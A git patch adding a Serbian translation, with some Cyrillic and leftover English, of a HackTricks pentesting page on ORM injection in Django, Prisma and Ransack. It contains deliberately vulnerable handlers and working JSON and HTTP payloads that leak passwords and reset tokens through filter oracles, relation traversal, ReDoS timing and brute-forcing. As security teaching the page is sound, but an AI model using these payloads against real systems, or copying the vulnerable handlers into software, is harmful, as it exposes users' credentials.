From 6550e43cdc27360077cd4430a961f0787539e6e1 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 30 Jul 2024 11:02:13 +0000 Subject: [PATCH] Translated ['pentesting-web/orm-injection.md'] to rs --- SUMMARY.md | 1 + pentesting-web/orm-injection.md | 335 ++++++++++++++++++++++++++++++++ 2 files changed, 336 insertions(+) create mode 100644 pentesting-web/orm-injection.md diff --git a/SUMMARY.md b/SUMMARY.md index 767273274..8562e90c3 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -595,6 +595,7 @@ * [NoSQL injection](pentesting-web/nosql-injection.md) * [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md) * [Open Redirect](pentesting-web/open-redirect.md) +* [ORM Injection](pentesting-web/orm-injection.md) * [Parameter Pollution](pentesting-web/parameter-pollution.md) * [Phone Number Injections](pentesting-web/phone-number-injections.md) * [PostMessage Vulnerabilities](pentesting-web/postmessage-vulnerabilities/README.md) diff --git a/pentesting-web/orm-injection.md b/pentesting-web/orm-injection.md new file mode 100644 index 000000000..66255fb4a --- /dev/null +++ b/pentesting-web/orm-injection.md @@ -0,0 +1,335 @@ +# ORM Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} + +## Django ORM (Python) + +U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je: + +
class ArticleView(APIView):
+"""
+Neki osnovni API prikaz na koji korisnici šalju zahteve za
+pretragu članaka
+"""
+def post(self, request: Request, format=None):
+try:
+            articles = Article.objects.filter(**request.data)
+            serializer = ArticleSerializer(articles, many=True)
+except Exception as e:
+return Response([])
+return Response(serializer.data)
+
+ +Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje. + +Primeri: + +* **Login:** U jednostavnom prijavljivanju pokušajte da iscurite lozinke korisnika registrovanih unutar njega. +```json +{ +"username": "admin", +"password_startswith":"a" +} +``` +{% hint style="danger" %} +Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja. +{% endhint %} + +* **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`). +```json +{ +"created_by__user__password__contains":"pass" +} +``` +{% hint style="danger" %} +Moguće je pronaći lozinku svih korisnika koji su kreirali članak +{% endhint %} + +* **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`). +```json +{ +"created_by__departments__employees__user_startswith":"admi" +} +``` +{% hint style="danger" %} +U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke). +{% endhint %} + +* **Zloupotreba Django Group i Permission mnogu-na-mnogu odnosa sa korisnicima**: Štaviše, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **mnogu-na-mnogu odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**. +```bash +# By users in the same group +created_by__user__groups__user__password + +# By users with the same permission +created_by__user__user_permissions__user__password +``` +* **Obiđi filter restrikcije**: Isti blog post je predložio da se obiđu neka filtriranja kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is\_secret=True jer možemo da se vratimo iz veze u tabelu Article i da procurimo tajne članke iz ne-tajnih članaka jer su rezultati spojeni i is\_secret polje se proverava u ne-tajnom članku dok se podaci procuruju iz tajnog članka. +```bash +Article.objects.filter(is_secret=False, categories__articles__id=2) +``` +{% hint style="danger" %} +Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka. +{% endhint %} + +* **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima se očekivalo da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl. +```json +// Non matching password +{ +"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$" +} + +// ReDoS matching password (will show some error in the response or check the time) +{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"} +``` +From te same post regarding this vector: + +* **SQLite**: Nema regexp operator po defaultu (zahteva učitavanje treće strane ekstenzije) +* **PostgreSQL**: Nema podrazumevani regex timeout i manje je podložan backtrackingu +* **MariaDB**: Nema regex timeout + +## Prisma ORM (NodeJS) + +The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/). + +* **Full find control**: + +
const app = express();
+
+app.use(express.json());
+
+app.post('/articles/verybad', async (req, res) => {
+try {
+// Attacker has full control of all prisma options
+        const posts = await prisma.article.findMany(req.body.filter)
+        res.json(posts);
+} catch (error) {
+res.json([]);
+}
+});
+
+ +It's possible to see that the whole javascript body is passed to prisma to perform queries. + +In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...) +```json +{ +"filter": { +"include": { +"createdBy": true +} +} +} + +// Response +[ +{ +"id": 1, +"title": "Buy Our Essential Oils", +"body": "They are very healthy to drink", +"published": true, +"createdById": 1, +"createdBy": { +"email": "karen@example.com", +"id": 1, +"isAdmin": false, +"name": "karen", +"password": "super secret passphrase", +"resetToken": "2eed5e80da4b7491" +} +}, +... +] +``` +Следећи упит бира све објаве које је креирао неко са лозинком и враћа лозинку: +```json +{ +"filter": { +"select": { +"createdBy": { +"select": { +"password": true +} +} +} +} +} + +// Response +[ +{ +"createdBy": { +"password": "super secret passphrase" +} +}, +... +] +``` +* **Potpuna kontrola where klauzule**: + +Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu: + +
app.get('/articles', async (req, res) => {
+try {
+const posts = await prisma.article.findMany({
+            where: req.query.filter as any // Podložan ORM leak-ovima
+        })
+res.json(posts);
+} catch (error) {
+res.json([]);
+}
+});
+
+ +Moguće je direktno filtrirati lozinku korisnika kao: +```javascript +await prisma.article.findMany({ +where: { +createdBy: { +password: { +startsWith: "pas" +} +} +} +}) +``` +{% hint style="danger" %} +Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije. +{% endhint %} + +* **Zaobilaženje filtriranja u mnogim-relacijama:** +```javascript +app.post('/articles', async (req, res) => { +try { +const query = req.body.query; +query.published = true; +const posts = await prisma.article.findMany({ where: query }) +res.json(posts); +} catch (error) { +res.json([]); +} +}); +``` +Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`: +```json +{ +"query": { +"categories": { +"some": { +"articles": { +"some": { +"published": false, +"{articleFieldToLeak}": { +"startsWith": "{testStartsWith}" +} +} +} +} +} +} +} +``` +Takođe je moguće leak-ovati sve korisnike zloupotrebom nekih loop back many-to-many odnosa: +```json +{ +"query": { +"createdBy": { +"departments": { +"some": { +"employees": { +"some": { +"departments": { +"some": { +"employees": { +"some": { +"departments": { +"some": { +"employees": { +"some": { +"{fieldToLeak}": { +"startsWith": "{testStartsWith}" +} +} +} +} +} +} +} +} +} +} +} +} +} +} +} +} +``` +* **Greške/Upitnici sa vremenskim odlaganjem**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je: +```json +{ +"OR": [ +{ +"NOT": {ORM_LEAK} +}, +{CONTAINS_LIST} +] +} +``` +Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravna leak.** + +## **Ransack (Ruby)** + +Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.** + +{% hint style="success" %} +**Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne dozvoljene liste za pretražive atribute i asocijacije.** +{% endhint %} + +**Vulnerable example:** +```ruby +def index +@q = Post.ransack(params[:q]) +@posts = @q.result(distinct: true) +end +``` +Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force napad na reset token sa: +```http +GET /posts?q[user_reset_password_token_start]=0 +GET /posts?q[user_reset_password_token_start]=1 +... +``` +By brute-forcing and potentially relationships it was possible to leak more data from a database. + +## References + +* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/) +* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/) +* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration) + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %}